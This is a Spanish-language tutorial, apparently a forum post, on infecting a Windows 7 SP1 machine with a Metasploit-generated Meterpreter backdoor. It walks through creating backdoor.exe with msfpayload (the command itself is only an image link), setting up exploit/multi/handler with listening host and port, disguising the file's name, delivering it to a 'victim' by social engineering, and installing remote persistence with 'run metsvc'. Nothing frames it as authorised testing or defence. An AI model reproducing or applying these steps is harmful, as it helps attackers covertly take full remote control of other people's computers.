Hola a todos ,aquí les traigo un tutorial de como infectar windows 7 sp1 por medio de la generación de un payload por el modulo msfpayload de metasploit ,generaremos este payload para poder que la victima reciba el archivo lo ejecute y asi poder obtener una shell meterpreter
y tener control total sobre esta maquina .
aquí van los pasos a seguir :
1.Generamos el payload con el modulo msfpayload de metasploit ,este payload seria la backdoor para tener control sobre la victima una vez haya recibido nuestra backdoor ,para esto ingresamos a nuestra terminal y escribimos :
Link de la imagen de el procedimiento:
donde:
LHOST=tu ip local.
LPORT=puerto de escucha del payload "backdoor" pueden usar cualquier puerto a su gusto.
x >/root/backdoor.exe este parámetro es para especificar donde vamos a generar el archivo de nuestro payload "backdoor".
2.Ingresamos a nuestra consola de metasploit para ya entrar en efectividad del payload generado por medio de un exploit para esto hacemos lo siguiente:
donde vamos a decirle a metasploit que vamos a usar cierto exploit y sus respectivos parámetros .
vamos a usar un exploit multi-cabecera.
link de la imagen del procedimiento:
use exploit/multi/handler ="aqui estamos diciendo a metasploit que vamos a usar este exploit"
set payload windows/meterpreter="aquí estamos defiendo el payload para nuestro exploit "backdoor".
set lhost=tu dirección ip local
set lport=puerto de escucha.
run para dar como tal ya ejecución a nuestro exploit:
ya como tal se van a la carpeta en este caso root donde van a poder encontrar el archivo backdoor.exe , para no levantar muchas sospechas lo nombramos de otra manera por logica ,bueno ya si todo va bien ,tendremos que por medio de nuestras técnicas de ingeniera social hacer llegar nuestro backdoor a la victima y poder tener acceso a nuestra sesión de meterpreter.
3.procedemos a ejecutar un servicio de acceso y control para inyectárselo a nuestra victima para así tenerla controlada de forma remota ,hacemos lo siguiente:
meterpreter > run metsvc
